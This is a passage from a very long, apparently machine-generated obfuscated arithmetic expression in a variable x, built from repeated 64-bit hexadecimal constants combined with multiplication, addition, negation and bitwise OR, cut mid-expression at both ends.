x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d